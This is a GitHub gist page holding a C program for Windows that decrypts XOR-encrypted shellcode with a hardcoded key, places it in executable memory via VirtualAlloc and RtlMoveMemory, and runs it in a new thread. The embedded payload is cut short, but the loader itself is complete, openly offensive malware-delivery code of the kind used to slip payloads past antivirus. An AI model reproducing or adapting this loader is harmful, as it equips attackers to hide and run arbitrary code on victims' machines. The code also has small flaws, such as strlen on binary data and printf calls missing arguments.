Created
August 14, 2019 13:38
-
-
Save kafkaesqu3/c56bbb1ac310fa360938b7370ecde8fb to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
#include <string.h> | |
/* | |
1. Decrypt the encrypted shellcode with the key used to encrypt the shellcode. | |
2. Allocate a enough space on virtual memory for the decrypted shell code using VirtualAlloc() | |
3. Copy decrypted shellcode to the allocated memory using RtlMoveMemory() | |
4. Execute the certain region using CreateThread() | |
*/ | |
int launch(char *buff) | |
{ | |
LPVOID lpvAddr; // address of the test memory | |
HANDLE hHand; | |
DWORD dwWaitResult; | |
DWORD threadID; | |
lpvAddr = VirtualAlloc(NULL, strlen(buff),0x3000,0x40); | |
if(lpvAddr == NULL){ | |
printf("VirtualAlloc failed. Error"); | |
return 1; | |
}else{ | |
printf("Committed %lu bytes at address"); | |
} | |
RtlMoveMemory(lpvAddr,buff, strlen(buff)); | |
hHand = CreateThread(NULL,0,lpvAddr,NULL,0,&threadID); | |
if(hHand == NULL){ | |
printf("CreateThread failed. Error"); | |
return 1; | |
} | |
else{ | |
printf("Createthread successful!"); | |
} | |
dwWaitResult = WaitForSingleObject(hHand,INFINITE); | |
return 0; | |
} | |
int main() | |
{ | |
char dec[1000]= {'\0'}; | |
int i = 0,key_count = 0; | |
char key[] = "myxorkey@123"; | |
//XOR Encrypted Shell Code | |
char enc[] = "\xD7\xF6\x5A\xAE\xA5..."; | |
for (i = 0 ; i<= strlen(enc);i++){ | |
dec[i] = key[key_count]^enc[i]; | |
key_count++; | |
if(key_count == strlen(key)){ | |
key_count = 0; | |
} | |
} | |
launch(dec); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment